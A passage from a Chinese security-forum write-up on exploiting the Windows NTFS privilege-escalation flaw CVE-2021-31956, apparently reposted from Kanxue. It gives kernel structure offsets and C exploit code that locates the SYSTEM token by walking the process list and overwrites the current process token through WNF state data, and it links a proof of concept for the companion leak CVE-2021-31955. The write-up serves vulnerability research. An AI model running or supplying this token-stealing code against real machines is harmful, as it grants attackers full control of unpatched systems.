释放掉堆喷未修改的其他的Pipe_Attribute结构,使用_WNF_NAME_INSTANCE重新进行堆喷,通过局部地址读写,覆盖掉下一个Wnf结构体里的_WNF_STATE_DATA,将其指向当前进程的EPROCESS,使用NtUpdateWnfStateData操作,即可实现写操作。
Windows NTFS本地提权漏洞 CVE-2021-31956

_WNF_NAME_INSTANCE结构的CreatorProcess包含_EPROCESS指针。

nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B

遍历进程链表,获得pid4的token。
    
ULONGLONG eprocess = (ULONGLONG)tmp_name.CreatorProcess;
ULONG process_id_offset;
ULONG token_offset;
ULONG link_offset;
if (locate_exp_offset(eprocess, &process_id_offset, &token_offset, &link_offset))
goto die;

// we need locate process id offset
ULONGLONG token_addr = eprocess + token_offset;
UCHAR* begin_eprocess = eprocess;
while (1) {
ULONGLONG process_id;
ab_read(eprocess + process_id_offset, &process_id, 8);
if (process_id == 4) {
break;
}
UCHAR* tmp;
ab_read(eprocess + link_offset, &tmp, 8);
tmp -= link_offset;
if (tmp == begin_eprocess) {
break;
}
eprocess = tmp;
}
ULONGLONG token;
ab_read(eprocess + token_offset,&token, 8);
DEBUG("system token %016llxn", token);

修改 WNF的StateData指向当前进程的token。

wnf_name->StateData = (WNF_STATE_DATA*)(token_addr - 0x50);

调用NtUpdateWnfStateData替换当前进程的token为 system的。

*(ULONGLONG*)(write_buf + 0x40) = token;
mystatus = NtUpdateWnfStateData(&abwrite_st, write_buf, 0x48, 0, 0, 0, 0);





CVE-2021-31955


在卡巴发现的在野利用样本中,CVE-2021-31956利用了CVE-2021-31955来解决EPROCESS地址泄漏问题。

CVE-2021-31955漏洞是ntoskrnl.exe中的一个信息泄露漏洞。
NtQuerySystemInformation 函数返回的 SuperFetch信息类SuperfetchPrivSourceQuery中包含当前执行的进程的EPROCESS kernel 地址。

https://github.com/freeide/CVE-2021-31955-POC

Windows NTFS本地提权漏洞 CVE-2021-31956



Windows NTFS本地提权漏洞 CVE-2021-31956


看雪ID:hml189

https://bbs.kanxue.com/user-home-865065.htm

*本文为看雪论坛优秀文章,由 hml189 原创,转载请注明来自看雪社区

Windows NTFS本地提权漏洞 CVE-2021-31956

# 往期推荐

1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术

2、SWPUCTF 2021 新生赛-老鼠走迷宫

3、OWASP 实战分析 level 1

4、【远控木马】银狐组织最新木马样本-分析

5、自研Unidbg trace工具实战ollvm反混淆

6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘


Windows NTFS本地提权漏洞 CVE-2021-31956


Windows NTFS本地提权漏洞 CVE-2021-31956

球分享

Windows NTFS本地提权漏洞 CVE-2021-31956

球点赞

Windows NTFS本地提权漏洞 CVE-2021-31956

球在看

原文始发于微信公众号(看雪学苑):Windows NTFS本地提权漏洞 CVE-2021-31956

版权声明:admin 发表于 2023年12月2日 下午6:00。
转载请注明:Windows NTFS本地提权漏洞 CVE-2021-31956 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...